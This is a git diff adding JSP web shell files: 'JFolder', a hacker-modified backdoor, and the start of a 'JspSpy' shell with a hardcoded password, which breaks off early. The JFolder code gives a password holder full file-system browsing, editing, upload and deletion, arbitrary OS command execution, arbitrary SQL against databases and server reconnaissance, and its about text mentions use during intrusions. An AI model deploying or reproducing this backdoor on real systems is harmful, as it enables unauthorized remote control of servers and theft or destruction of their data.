sRet.endsWith("/")) + sRet += "/"; + } + } else { + if (! sRet.endsWith("/")) + sRet += "/"; + } + + return sRet; +} + +public String strCut(String str, int len) { + String sRet; + + len -= 3; + + if (str.getBytes().length <= len) { + sRet = str; + } else { + try { + sRet = (new String(str.getBytes(), 0, len, "GBK")) + "..."; + } catch (Exception e) { + sRet = str; + } + } + + return sRet; +} + +public String listFiles(String path, String curUri) { + File[] files = null; + File curFile = null; + String sRet = null; + int n = 0; + boolean isRoot = path.equals(""); + + path = pathConvert(path); + + try { + if (isRoot) { + files = File.listRoots(); + } else { + try { + curFile = new File(path); + String[] sFiles = curFile.list(); + files = new File[sFiles.length]; + + for (n = 0; n < sFiles.length; n ++) { + files[n] = new File(path + sFiles[n]); + } + } catch (Exception e) { + sRet = "bad path \"" + path + "\""; + } + } + + if (sRet == null) { + sRet = "\n"; + sRet += "\n"; + sRet += "\n"; + sRet += " \n"; + + if (curFile != null) { + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + } + + sRet += "\n"; + + sRet += " \n"; + + for (n = 0; n < files.length; n ++) { + sRet += " \n"; + + if (! isRoot) { + sRet += " \n"; + if (files[n].isDirectory()) { + sRet += " \n"; + } else { + sRet += " \n"; + } + + sRet += " \n"; + sRet += " \n"; + } else { + sRet += " \n"; + } + + sRet += " \n"; + } + sRet += " \n"; + sRet += "
\n"; + sRet += "  上级目录 "; + sRet += "创建目录 "; + sRet += "新建文件 "; + sRet += "删除 "; + sRet += "复制 "; + sRet += "重命名 "; + sRet += "上传文件\n"; + sRet += " \n"; + sRet += "
<" + strCut(files[n].getName(), 50) + ">" + strCut(files[n].getName(), 50) + "" + (files[n].isDirectory() ? "<dir>" : "") + ((! files[n].isDirectory()) && isTextFile(getExtName(files[n].getPath())) ? "<edit>" : "") + "" + files[n].length() + "" + pathConvert(files[n].getPath()) + "
\n"; + } + } catch (SecurityException e) { + sRet = "security violation, no privilege."; + } + + return sRet; +} + +public boolean isTextFile(String extName) { + int i; + boolean bRet = false; + + if (! extName.equals("")) { + for (i = 0; i < _textFileTypes.length; i ++) { + if (extName.equals(_textFileTypes[i])) { + bRet = true; + break; + } + } + } else { + bRet = true; + } + + return bRet; +} + +public String getExtName(String fileName) { + String sRet = ""; + int nLastDotPos; + + fileName = pathConvert(fileName); + + nLastDotPos = fileName.lastIndexOf("."); + + if (nLastDotPos == -1) { + sRet = ""; + } else { + sRet = fileName.substring(nLastDotPos + 1); + } + + return sRet; +} + +public String browseFile(String path) { + String sRet = ""; + File file = null; + FileReader fileReader = null; + + path = pathConvert(path); + + try { + file = new File(path); + fileReader = new FileReader(file); + String fileString = ""; + char[] chBuffer = new char[1024]; + int ret; + + sRet = "\n"; + + } catch (IOException e) { + sRet += "\n"; + } + + return sRet; +} + +public String openFile(String path, String curUri) { + String sRet = ""; + boolean canOpen = false; + int nLastDotPos = path.lastIndexOf("."); + String extName = ""; + String fileString = null; + File curFile = null; + + path = pathConvert(path); + + if (nLastDotPos == -1) { + canOpen = true; + } else { + extName = path.substring(nLastDotPos + 1); + canOpen = isTextFile(extName); + } + + if (canOpen) { + try { + fileString = ""; + curFile = new File(path); + FileReader fileReader = new FileReader(curFile); + char[] chBuffer = new char[1024]; + int nRet; + + while ((nRet = fileReader.read(chBuffer, 0, 1024)) != -1) { + fileString += new String(chBuffer, 0, nRet); + } + + fileReader.close(); + } catch (IOException e) { + fileString = null; + sRet = "不能打开文件\"" + path + "\""; + } catch (SecurityException e) { + fileString = null; + sRet = "安全问题,没有权限执行该操作"; + } + } else { + sRet = "file \"" + path + "\" is not a text file, can't be opened in text mode"; + } + + if (fileString != null) { + sRet += "\n"; + sRet += "\n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += "
[上级目录]
\n"; + sRet += " \n"; + sRet += "
 
\n"; + } + + return sRet; +} + +public String saveFile(String path, String curUri, String fileContent) { + String sRet = ""; + File file = null; + + path = pathConvert(path); + + try { + file = new File(path); + + if (! file.canWrite()) { + sRet = "文件不可写"; + } else { + FileWriter fileWriter = new FileWriter(file); + fileWriter.write(fileContent); + + fileWriter.close(); + sRet = "文件保存成功,正在返回,请稍候……\n"; + sRet += "\n"; + } + } catch (IOException e) { + sRet = "保存文件失败"; + } catch (SecurityException e) { + sRet = "安全问题,没有权限执行该操作"; + } + + return sRet; +} + +public String createFolder(String path, String curUri, String folderName) { + String sRet = ""; + File folder = null; + + path = pathConvert(path); + + try { + folder = new File(path + folderName); + + if (folder.exists() && folder.isDirectory()) { + sRet = "\"" + path + folderName + "\"目录已经存在"; + } else { + if (folder.mkdir()) { + sRet = "成功创建目录\"" + pathConvert(folder.getPath()) + "\",正在返回,请稍候……\n"; + sRet += ""; + } else { + sRet = "创建目录\"" + folderName + "\"失败"; + } + } + } catch (SecurityException e) { + sRet = "安全问题,没有权限执行该操作"; + } + + return sRet; +} + +public String createFile(String path, String curUri, String fileName) { + String sRet = ""; + File file = null; + + path = pathConvert(path); + + try { + file = new File(path + fileName); + + if (file.createNewFile()) { + sRet = ""; + } else { + sRet = "\"" + path + fileName + "\"文件已经存在"; + } + } catch (SecurityException e) { + sRet = "安全问题,没有权限执行该操作"; + } catch (IOException e) { + sRet = "创建文件\"" + path + fileName + "\"失败"; + } + + return sRet; +} + +public String deleteFile(String path, String curUri, String[] files2Delete) { + String sRet = ""; + File tmpFile = null; + + try { + for (int i = 0; i < files2Delete.length; i ++) { + tmpFile = new File(files2Delete[i]); + if (! tmpFile.delete()) { + sRet += "删除\"" + files2Delete[i] + "\"失败
\n"; + } + } + + if (sRet.equals("")) { + sRet = "删除成功,正在返回,请稍候……\n"; + sRet += ""; + } + } catch (SecurityException e) { + sRet = "安全问题,没有权限执行该操作\n"; + } + + return sRet; +} + +public String saveAs(String path, String curUri, String fileContent) { + String sRet = ""; + File file = null; + FileWriter fileWriter = null; + + try { + file = new File(path); + + if (file.createNewFile()) { + fileWriter = new FileWriter(file); + fileWriter.write(fileContent); + fileWriter.close(); + + sRet = ""; + } else { + sRet = "文件\"" + path + "\"已经存在"; + } + } catch (IOException e) { + sRet = "创建文件\"" + path + "\"失败"; + } + + return sRet; +} + + +public String uploadFile(ServletRequest request, String path, String curUri) { + String sRet = ""; + File file = null; + InputStream in = null; + + path = pathConvert(path); + + try { + in = request.getInputStream(); + + byte[] inBytes = new byte[request.getContentLength()]; + int nBytes; + int start = 0; + int end = 0; + int size = 1024; + String token = null; + String filePath = null; + + // + // 把输入流读入一个字节数组 + // + while ((nBytes = in.read(inBytes, start, size)) != -1) { + start += nBytes; + } + + in.close(); + // + // 从字节数组中得到文件分隔符号 + // + int i = 0; + byte[] seperator; + + while (inBytes[i] != 13) { + i ++; + } + + seperator = new byte[i]; + + for (i = 0; i < seperator.length; i ++) { + seperator[i] = inBytes[i]; + } + + // + // 得到Header部分 + // + String dataHeader = null; + i += 3; + start = i; + while (! (inBytes[i] == 13 && inBytes[i + 2] == 13)) { + i ++; + } + end = i - 1; + dataHeader = new String(inBytes, start, end - start + 1); + + // + // 得到文件名 + // + token = "filename=\""; + start = dataHeader.indexOf(token) + token.length(); + token = "\""; + end = dataHeader.indexOf(token, start) - 1; + filePath = dataHeader.substring(start, end + 1); + filePath = pathConvert(filePath); + String fileName = filePath.substring(filePath.lastIndexOf("/") + 1); + + // + // 得到文件内容开始位置 + // + i += 4; + start = i; + + /* + boolean found = true; + byte[] tmp = new byte[seperator.length]; + while (i <= inBytes.length - 1 - seperator.length) { + + for (int j = i; j < i + seperator.length; j ++) { + if (seperator[j - i] != inBytes[j]) { + found = false; + break; + } else + tmp[j - i] = inBytes[j]; + } + + if (found) + break; + + i ++; + }*/ + + // + // 偷懒的办法 + // + end = inBytes.length - 1 - 2 - seperator.length - 2 - 2; + + // + // 保存为文件 + // + File newFile = new File(path + fileName); + newFile.createNewFile(); + FileOutputStream out = new FileOutputStream(newFile); + + //out.write(inBytes, start, end - start + 1); + out.write(inBytes, start, end - start + 1); + out.close(); + + sRet = "\n"; + } catch (IOException e) { + sRet = "\n"; + } + + sRet += ""; + return sRet; +} + +public boolean fileCopy(String srcPath, String dstPath) { + boolean bRet = true; + + try { + FileInputStream in = new FileInputStream(new File(srcPath)); + FileOutputStream out = new FileOutputStream(new File(dstPath)); + byte[] buffer = new byte[1024]; + int nBytes; + + + while ((nBytes = in.read(buffer, 0, 1024)) != -1) { + out.write(buffer, 0, nBytes); + } + + in.close(); + out.close(); + } catch (IOException e) { + bRet = false; + } + + return bRet; +} + +public String getFileNameByPath(String path) { + String sRet = ""; + + path = pathConvert(path); + + if (path.lastIndexOf("/") != -1) { + sRet = path.substring(path.lastIndexOf("/") + 1); + } else { + sRet = path; + } + + return sRet; +} + +public String copyFiles(String path, String curUri, String[] files2Copy, String dstPath) { + String sRet = ""; + int i; + + path = pathConvert(path); + dstPath = pathConvert(dstPath); + + for (i = 0; i < files2Copy.length; i ++) { + if (! fileCopy(files2Copy[i], dstPath + getFileNameByPath(files2Copy[i]))) { + sRet += "文件\"" + files2Copy[i] + "\"复制失败
"; + } + } + + if (sRet.equals("")) { + sRet = "文件复制成功,正在返回,请稍候……"; + sRet += ""; + } + + return sRet; +} + +public boolean isFileName(String fileName) { + boolean bRet = false; + + Pattern p = Pattern.compile("^[a-zA-Z0-9][\\w\\.]*[\\w]$"); + Matcher m = p.matcher(fileName); + + bRet = m.matches(); + + return bRet; +} + +public String renameFile(String path, String curUri, String file2Rename, String newName) { + String sRet = ""; + + path = pathConvert(path); + file2Rename = pathConvert(file2Rename); + + try { + File file = new File(file2Rename); + + newName = file2Rename.substring(0, file2Rename.lastIndexOf("/") + 1) + newName; + File newFile = new File(newName); + + if (! file.exists()) { + sRet = "文件\"" + file2Rename + "\"不存在"; + } else { + file.renameTo(newFile); + sRet = "文件重命名成功,正在返回,请稍候……"; + sRet += ""; + } + } catch (SecurityException e) { + sRet = "安全问题导致文件\"" + file2Rename + "\"复制失败"; + } + + return sRet; +} + +public boolean DBInit(String dbType, String dbServer, String dbPort, String dbUsername, String dbPassword, String dbName) { + boolean bRet = true; + String driverName = ""; + + if (dbServer.equals("")) + dbServer = "localhost"; + + try { + if (dbType.equals("sqlserver")) { + driverName = "com.microsoft.jdbc.sqlserver.SQLServerDriver"; + if (dbPort.equals("")) + dbPort = "1433"; + _url = "jdbc:microsoft:sqlserver://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName; + } else if (dbType.equals("mysql")) { + driverName = "com.mysql.jdbc.Driver"; + if (dbPort.equals("")) + dbPort = "3306"; + _url = "jdbc:mysql://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName; + } else if (dbType.equals("odbc")) { + driverName = "sun.jdbc.odbc.JdbcOdbcDriver"; + _url = "jdbc:odbc:dsn=" + dbName + ";User=" + dbUsername + ";Password=" + dbPassword; + } else if (dbType.equals("oracle")) { + driverName = "oracle.jdbc.driver.OracleDriver"; + _url = "jdbc:oracle:thin@" + dbServer + ":" + dbPort + ":" + dbName; + } else if (dbType.equals("db2")) { + driverName = "com.ibm.db2.jdbc.app.DB2Driver"; + _url = "jdbc:db2://" + dbServer + ":" + dbPort + "/" + dbName; + } + + Class.forName(driverName); + } catch (ClassNotFoundException e) { + bRet = false; + } + + return bRet; +} + +public boolean DBConnect(String User, String Password) { + boolean bRet = false; + + if (_url != null) { + try { + _dbConnection = DriverManager.getConnection(_url, User, Password); + _dbStatement = _dbConnection.createStatement(); + bRet = true; + } catch (SQLException e) { + bRet = false; + } + } + + return bRet; +} + +public String DBExecute(String sql) { + String sRet = ""; + + if (_dbConnection == null || _dbStatement == null) { + sRet = "数据库没有正常连接"; + } else { + try { + if (sql.toLowerCase().substring(0, 6).equals("select")) { + ResultSet rs = _dbStatement.executeQuery(sql); + ResultSetMetaData rsmd = rs.getMetaData(); + int colNum = rsmd.getColumnCount(); + int colType; + + sRet = "sql语句执行成功,返回结果
\n"; + sRet += "\n"; + sRet += " \n"; + for (int i = 1; i <= colNum; i ++) { + sRet += " \n"; + } + sRet += " \n"; + while (rs.next()) { + sRet += " \n"; + for (int i = 1; i <= colNum; i ++) { + colType = rsmd.getColumnType(i); + + sRet += " \n"; + } + sRet += " \n"; + } + sRet += "
" + rsmd.getColumnName(i) + "(" + rsmd.getColumnTypeName(i) + ")
"; + switch (colType) { + case Types.BIGINT: + sRet += rs.getLong(i); + break; + + case Types.BIT: + sRet += rs.getBoolean(i); + break; + + case Types.BOOLEAN: + sRet += rs.getBoolean(i); + break; + + case Types.CHAR: + sRet += rs.getString(i); + break; + + case Types.DATE: + sRet += rs.getDate(i).toString(); + break; + + case Types.DECIMAL: + sRet += rs.getDouble(i); + break; + + case Types.NUMERIC: + sRet += rs.getDouble(i); + break; + + case Types.REAL: + sRet += rs.getDouble(i); + break; + + case Types.DOUBLE: + sRet += rs.getDouble(i); + break; + + case Types.FLOAT: + sRet += rs.getFloat(i); + break; + + case Types.INTEGER: + sRet += rs.getInt(i); + break; + + case Types.TINYINT: + sRet += rs.getShort(i); + break; + + case Types.VARCHAR: + sRet += rs.getString(i); + break; + + case Types.TIME: + sRet += rs.getTime(i).toString(); + break; + + case Types.DATALINK: + sRet += rs.getTimestamp(i).toString(); + break; + } + sRet += "
\n"; + + rs.close(); + } else { + if (_dbStatement.execute(sql)) { + sRet = "sql语句执行成功"; + } else { + sRet = "sql语句执行失败"; + } + } + } catch (SQLException e) { + sRet = "sql语句执行失败"; + } + } + + return sRet; +} + +public void DBRelease() { + try { + if (_dbStatement != null) { + _dbStatement.close(); + _dbStatement = null; + } + + if (_dbConnection != null) { + _dbConnection.close(); + _dbConnection = null; + } + } catch (SQLException e) { + + } +} + +///////////////////////////////////////////////////////////////////////////////////////////////////////////////// + +class JshellConfig { + private String _jshellContent = null; + private String _path = null; + + public JshellConfig(String path) throws JshellConfigException { + _path = path; + read(); + } + + private void read() throws JshellConfigException { + try { + FileReader jshell = new FileReader(new File(_path)); + char[] buffer = new char[1024]; + int nChars; + _jshellContent = ""; + + while ((nChars = jshell.read(buffer, 0, 1024)) != -1) { + _jshellContent += new String(buffer, 0, nChars); + } + + jshell.close(); + } catch (IOException e) { + throw new JshellConfigException("打开文件失败"); + } + } + + public void save() throws JshellConfigException { + FileWriter jshell = null; + + try { + jshell = new FileWriter(new File(_path)); + char[] buffer = _jshellContent.toCharArray(); + int start = 0; + int size = 1024; + + for (start = 0; start < buffer.length - 1 - size; start += size) { + jshell.write(buffer, start, size); + } + + jshell.write(buffer, start, buffer.length - 1 - start); + } catch (IOException e) { + new JshellConfigException("写文件失败"); + } finally { + try { + jshell.close(); + } catch (IOException e) { + + } + } + } + + public void setPassword(String password) throws JshellConfigException { + Pattern p = Pattern.compile("\\w+"); + Matcher m = p.matcher(password); + + if (! m.matches()) { + throw new JshellConfigException("密码不能有除字母数字下划线以外的字符"); + } + + p = Pattern.compile("private\\sString\\s_password\\s=\\s\"" + _password + "\""); + m = p.matcher(_jshellContent); + if (! m.find()) { + throw new JshellConfigException("程序体已经被非法修改"); + } + + _jshellContent = m.replaceAll("private String _password = \"" + password + "\""); + + //return HTMLEncode(_jshellContent); + } + + public void setEncodeType(String encodeType) throws JshellConfigException { + Pattern p = Pattern.compile("[A-Za-z0-9]+"); + Matcher m = p.matcher(encodeType); + + if (! m.matches()) { + throw new JshellConfigException("编码格式只能是字母和数字的组合"); + } + + p = Pattern.compile("private\\sString\\s_encodeType\\s=\\s\"" + _encodeType + "\""); + m = p.matcher(_jshellContent); + + if (! m.find()) { + throw new JshellConfigException("程序体已经被非法修改"); + } + + _jshellContent = m.replaceAll("private String _encodeType = \"" + encodeType + "\""); + //return HTMLEncode(_jshellContent); + } + + public void setSessionTime(String sessionTime) throws JshellConfigException { + Pattern p = Pattern.compile("\\d+"); + Matcher m = p.matcher(sessionTime); + + if (! m.matches()) { + throw new JshellConfigException("session超时时间只能填数字"); + } + + p = Pattern.compile("private\\sint\\s_sessionOutTime\\s=\\s" + _sessionOutTime); + m = p.matcher(_jshellContent); + + if (! m.find()) { + throw new JshellConfigException("程序体已经被非法修改"); + } + + _jshellContent = m.replaceAll("private int _sessionOutTime = " + sessionTime); + //return HTMLEncode(_jshellContent); + } + + public void setTextFileTypes(String[] textFileTypes) throws JshellConfigException { + Pattern p = Pattern.compile("\\w+"); + Matcher m = null; + int i; + String fileTypes = ""; + String tmpFileTypes = ""; + + for (i = 0; i < textFileTypes.length; i ++) { + m = p.matcher(textFileTypes[i]); + + if (! m.matches()) { + throw new JshellConfigException("扩展名只能是字母数字和下划线的组合"); + } + + if (i != textFileTypes.length - 1) + fileTypes += "\"" + textFileTypes[i] + "\"" + ", "; + else + fileTypes += "\"" + textFileTypes[i] + "\""; + } + + for (i = 0; i < _textFileTypes.length; i ++) { + if (i != _textFileTypes.length - 1) + tmpFileTypes += "\"" + _textFileTypes[i] + "\"" + ", "; + else + tmpFileTypes += "\"" + _textFileTypes[i] + "\""; + } + + p = Pattern.compile(tmpFileTypes); + m = p.matcher(_jshellContent); + + if (! m.find()) { + throw new JshellConfigException("程序文件已经被非法修改"); + } + + _jshellContent = m.replaceAll(fileTypes); + + //return HTMLEncode(_jshellContent); + } + + public String getContent() { + return HTMLEncode(_jshellContent); + } +} + +class JshellConfigException extends Exception { + public JshellConfigException(String message) { + super(message); + } +} +%> + + +JFolder 华夏猪头三修改版 + + + + +<% +session.setMaxInactiveInterval(_sessionOutTime * 60); + +if (request.getParameter("password") == null && session.getAttribute("password") == null) { +// show the login form +//================================================================================================ +%> +
+ + + + +
+ + + + + + + + + + + + + + + +
 8管理登录 :::...JFolder_By_hack520
+ + +
+
+<% +//================================================================================================ +// end of the login form +} else { + String password = null; + + if (session.getAttribute("password") == null) { + password = (String)request.getParameter("password"); + + if (validate(password) == false) { + out.println("
  • 哎呀,倒霉死啦!
  • "); + out.close(); + return; + } + + session.setAttribute("password", password); + } else { + password = (String)session.getAttribute("password"); + } + + String action = null; + + + if (request.getParameter("action") == null) + action = "main"; + else + action = (String)request.getParameter("action"); + + if (action.equals("exit")) { + session.removeAttribute("password"); + response.sendRedirect(request.getRequestURI()); + out.close(); + return; + } + +// show the main menu +//==================================================================================== +%> + + + + + + + +
    + + +
    +<% +//===================================================================================== +// end of main menu + + if (action.equals("main")) { +// print the system info table +//======================================================================================= +%> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    服务器信息
    服务器名<%=request.getServerName()%>
    服务器端口<%=request.getServerPort()%>
    操作系统<%=System.getProperty("os.name") + " " + System.getProperty("os.version") + " " + System.getProperty("os.arch")%>
    当前用户名<%=System.getProperty("user.name")%>
    当前用户目录<%=System.getProperty("user.home")%>
    当前用户工作目录<%=System.getProperty("user.dir")%>
    程序相对路径<%=request.getRequestURI()%>
    程序绝对路径<%=request.getRealPath(request.getServletPath())%>
    网络协议<%=request.getProtocol()%>
    服务器软件版本信息<%=application.getServerInfo()%>
    JDK版本<%=System.getProperty("java.version")%>
    JDK安装路径<%=System.getProperty("java.home")%>
    JAVA虚拟机版本<%=System.getProperty("java.vm.specification.version")%>
    JAVA虚拟机名<%=System.getProperty("java.vm.name")%>
    JAVA类路径<%=System.getProperty("java.class.path")%>
    JAVA载入库搜索路径<%=System.getProperty("java.library.path")%>
    JAVA临时目录<%=System.getProperty("java.io.tmpdir")%>
    JIT编译器名<%=System.getProperty("java.compiler") == null ? "" : System.getProperty("java.compiler")%>
    扩展目录路径<%=System.getProperty("java.ext.dirs")%>
    客户端信息
    客户机地址<%=request.getRemoteAddr()%>
    服务机器名<%=request.getRemoteHost()%>
    用户名<%=request.getRemoteUser() == null ? "" : request.getRemoteUser()%>
    请求方式<%=request.getScheme()%>
    应用安全套接字层<%=request.isSecure() == true ? "是" : "否"%>
    +<% +//======================================================================================= +// end of printing the system info table +///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("filesystem")) { + String curPath = ""; + String result = ""; + String fsAction = ""; + + if (request.getParameter("curPath") == null) { + curPath = request.getRealPath(request.getServletPath()); + curPath = pathConvert((new File(curPath)).getParent()); + } else { + curPath = Unicode2GB((String)request.getParameter("curPath")); + } + + if (request.getParameter("fsAction") == null) { + fsAction = "list"; + } else { + fsAction = (String)request.getParameter("fsAction"); + } + + if (fsAction.equals("list")) + result = listFiles(curPath, request.getRequestURI() + "?action=" + action); + else if (fsAction.equals("browse")) { + result = listFiles(new File(curPath).getParent(), request.getRequestURI() + "?action=" + action); + result += browseFile(curPath); + } + else if (fsAction.equals("open")) + result = openFile(curPath, request.getRequestURI() + "?action=" + action); + else if (fsAction.equals("save")) { + if (request.getParameter("fileContent") == null) { + result = "页面导航错误"; + } else { + String fileContent = Unicode2GB((String)request.getParameter("fileContent")); + result = saveFile(curPath, request.getRequestURI() + "?action=" + action, fileContent); + } + } else if (fsAction.equals("createFolder")) { + if (request.getParameter("folderName") == null) { + result = "目录名不能为空"; + } else { + String folderName = Unicode2GB(request.getParameter("folderName").trim()); + if (folderName.equals("")) { + result = "目录名不能为空"; + } else { + result = createFolder(curPath, request.getRequestURI() + "?action=" + action, folderName); + } + } + } else if (fsAction.equals("createFile")) { + if (request.getParameter("fileName") == null) { + result = "文件名不能为空"; + } else { + String fileName = Unicode2GB(request.getParameter("fileName").trim()); + if (fileName.equals("")) { + result = "文件名不能为空"; + } else { + result = createFile(curPath, request.getRequestURI() + "?action=" + action, fileName); + } + } + } else if (fsAction.equals("deleteFile")) { + if (request.getParameter("filesDelete") == null) { + result = "没有选择要删除的文件"; + } else { + String[] files2Delete = (String[])request.getParameterValues("filesDelete"); + if (files2Delete.length == 0) { + result = "没有选择要删除的文件"; + } else { + for (int n = 0; n < files2Delete.length; n ++) { + files2Delete[n] = Unicode2GB(files2Delete[n]); + } + result = deleteFile(curPath, request.getRequestURI() + "?action=" + action, files2Delete); + } + } + } else if (fsAction.equals("saveAs")) { + if (request.getParameter("fileContent") == null) { + result = "页面导航错误"; + } else { + String fileContent = Unicode2GB(request.getParameter("fileContent")); + result = saveAs(curPath, request.getRequestURI() + "?action=" + action, fileContent); + } + } else if (fsAction.equals("upload")) { + result = uploadFile(request, curPath, request.getRequestURI() + "?action=" + action); + } else if (fsAction.equals("copyto")) { + if (request.getParameter("filesDelete") == null || request.getParameter("dstPath") == null) { + result = "没有选择要复制的文件"; + } else { + String[] files2Copy = request.getParameterValues("filesDelete"); + String dstPath = request.getParameter("dstPath").trim(); + if (files2Copy.length == 0) { + result = "没有选择要复制的文件"; + } else if (dstPath.equals("")) { + result = "没有填写要复制到的目录路径"; + } else { + for (int i = 0; i < files2Copy.length; i ++) + files2Copy[i] = Unicode2GB(files2Copy[i]); + + result = copyFiles(curPath, request.getRequestURI() + "?action=" + action, files2Copy, Unicode2GB(dstPath)); + } + } + } else if (fsAction.equals("rename")) { + if (request.getParameter("fileRename") == null) { + result = "页面导航错误"; + } else { + String file2Rename = request.getParameter("fileRename").trim(); + String newName = request.getParameter("newName").trim(); + if (file2Rename.equals("")) { + result = "没有选择要重命名的文件"; + } else if (newName.equals("")) { + result = "没有填写新文件名"; + } else { + result = renameFile(curPath, request.getRequestURI() + "?action=" + action, Unicode2GB(file2Rename), Unicode2GB(newName)); + } + } + } +%> + + + + + + + + + +
    地址   +
    <%= result.trim().equals("")?" " : result%>
    +<% +///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("command")) { + String cmd = ""; + InputStream ins = null; + String result = ""; + + if (request.getParameter("command") != null) { + cmd = (String)request.getParameter("command"); + result = exeCmd(cmd); + } +// print the command form +//======================================================================================== +%> + + + + + + + + + + + + +
    执行命令
    + + +
    执行结果
    + + + + +
    <%=result == "" ? " " : result%>
    +<% +//========================================================================================= +// end of printing command form +/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("database")) { + String dbAction = ""; + String result = ""; + String dbType = ""; + String dbServer = ""; + String dbPort = ""; + String dbUsername = ""; + String dbPassword = ""; + String dbName = ""; + String dbResult = ""; + String sql = ""; + + if (request.getParameter("dbAction") == null) { + dbAction = "main"; + } else { + dbAction = request.getParameter("dbAction").trim(); + if (dbAction.equals("")) + dbAction = "main"; + } + + if (dbAction.equals("main")) { + result = " "; + } else if (dbAction.equals("dbConnect")) { + if (request.getParameter("dbType") == null || + request.getParameter("dbServer") == null || + request.getParameter("dbPort") == null || + request.getParameter("dbUsername") == null || + request.getParameter("dbPassword") == null || + request.getParameter("dbName") == null) { + response.sendRedirect(request.getRequestURI() + "?action=" + action); + } else { + dbType = request.getParameter("dbType").trim(); + dbServer = request.getParameter("dbServer").trim(); + dbPort = request.getParameter("dbPort").trim(); + dbUsername = request.getParameter("dbUsername").trim(); + dbPassword = request.getParameter("dbPassword").trim(); + dbName = request.getParameter("dbName").trim(); + + if (DBInit(dbType, dbServer, dbPort, dbUsername, dbPassword, dbName)) { + if (DBConnect(dbUsername, dbPassword)) { + if (request.getParameter("sql") != null) { + sql = request.getParameter("sql").trim(); + if (! sql.equals("")) { + dbResult = DBExecute(sql); + } + } + + result = "\n"; + result += "sql语句

     \n"; + + DBRelease(); + } else { + result = "数据库连接失败"; + } + } else { + result = "数据库连接驱动没有找到"; + } + } + } +%> + + + "> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    数据库连接类型 + + +
    数据库服务器地址
    数据库服务器端口
    数据库用户名
    数据库密码
    数据库名
     
    <%=result%>
    + + + + +
    + <%=dbResult%> +
    +<% + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("config")) { + String cfAction = ""; + int i; + + if (request.getParameter("cfAction") == null) { + + cfAction = "main"; + } else { + cfAction = request.getParameter("cfAction").trim(); + if (cfAction.equals("")) + cfAction = "main"; + } + + if (cfAction.equals("main")) { +// start of config form +//========================================================================================== +%> + + + " onSubmit="javascript:selectAllTypes()"> + + + + + + + + + + + + + + + + + + + + +
    密码
    系统编码
    Session超时时间
    可编辑文件类型 + + + + + + +
    + + + +

    + +
    + +
    +
    +<% + } else if (cfAction.equals("save")) { + if (request.getParameter("password") == null || + request.getParameter("encode") == null || + request.getParameter("sessionTime") == null || + request.getParameterValues("textFileTypes") == null) { + response.sendRedirect(request.getRequestURI()); + } + + String result = ""; + + String newPassword = request.getParameter("password").trim(); + String newEncodeType = request.getParameter("encode").trim(); + String newSessionTime = request.getParameter("sessionTime").trim(); + String[] newTextFileTypes = request.getParameterValues("textFileTypes"); + String jshellPath = request.getRealPath(request.getServletPath()); + + try { + JshellConfig jconfig = new JshellConfig(jshellPath); + jconfig.setPassword(newPassword); + jconfig.setEncodeType(newEncodeType); + jconfig.setSessionTime(newSessionTime); + jconfig.setTextFileTypes(newTextFileTypes); + jconfig.save(); + result += "设置保存成功,正在返回,请稍候……"; + result += ""; + } catch (JshellConfigException e) { + result = "" + e.getMessage() + ""; + } + +%> + + + + +
    <%=result == "" ? " " : result%>
    +<% + } +////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +//========================================================================================== +// end of config form + } else if (action.equals("about")) { +// start of about +//========================================================================================== +%> + + + + + + + + + + +
    关于 jshell ver 0.1
        增加了显示alxea排名的功能,这对于入侵中也比较方便些,版权还是归作者的.
    hack520 by hack520 and welcome to 华夏黑客同盟
    +<% +//========================================================================================== + } +} +%> + + diff --git a/jsp/jspbrowser/1.jsp b/jsp/jspbrowser/1.jsp new file mode 100644 index 0000000..ccdfb25 --- /dev/null +++ b/jsp/jspbrowser/1.jsp @@ -0,0 +1,2344 @@ +<%@page pageEncoding="utf-8"%> +<%@page import="java.io.*"%> +<%@page import="java.util.*"%> +<%@page import="java.util.regex.*"%> +<%@page import="java.sql.*"%> +<%@page import="java.nio.charset.*"%> +<%@page import="javax.servlet.http.HttpServletRequestWrapper"%> +<%@page import="java.text.*"%> +<%@page import="java.net.*"%> +<%@page import="java.util.zip.*"%> +<%@page import="java.awt.*"%> +<%@page import="java.awt.image.*"%> +<%@page import="javax.imageio.*"%> +<%@page import="java.awt.datatransfer.DataFlavor"%> +<%@page import="java.util.prefs.Preferences"%> +<%! +/** +* Code By Ninty +* Date 2009-12-17 +* Blog http://www.Forjj.com/ +* Yue . I Love You. +*/ +private static final String PW = "kity"; //password +private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd"; +private static final String REQUEST_CHARSET = "ISO-8859-1"; +private static final String PAGE_CHARSET = "UTF-8"; +private static final String CURRENT_DIR = "currentdir"; +private static final String MSG = "SHOWMSG"; +private static final String PORT_MAP = "PMSA"; +private static final String DBO = "DBO"; +private static final String SHELL_ONLINE = "SHELL_ONLINE"; +private static String SHELL_NAME = ""; +private static String WEB_ROOT = null; +private static String SHELL_DIR = null; +public static Map ins = new HashMap(); +private static class MyRequest extends HttpServletRequestWrapper { +public MyRequest(HttpServletRequest req) { +super(req); +} +public String getParameter(String name) { +try { +String value = super.getParameter(name); +if (name == null) +return null; +return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET); +} catch (Exception e) { +return null; +} +} +} +private static class DBOperator{ +private Connection conn = null; +private Statement stmt = null; +private String driver; +private String url; +private String uid; +private String pwd; +public DBOperator(String driver,String url,String uid,String pwd) throws Exception { +this(driver,url,uid,pwd,false); +} +public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception { +Class.forName(driver); +if (connect) +this.conn = DriverManager.getConnection(url,uid,pwd); 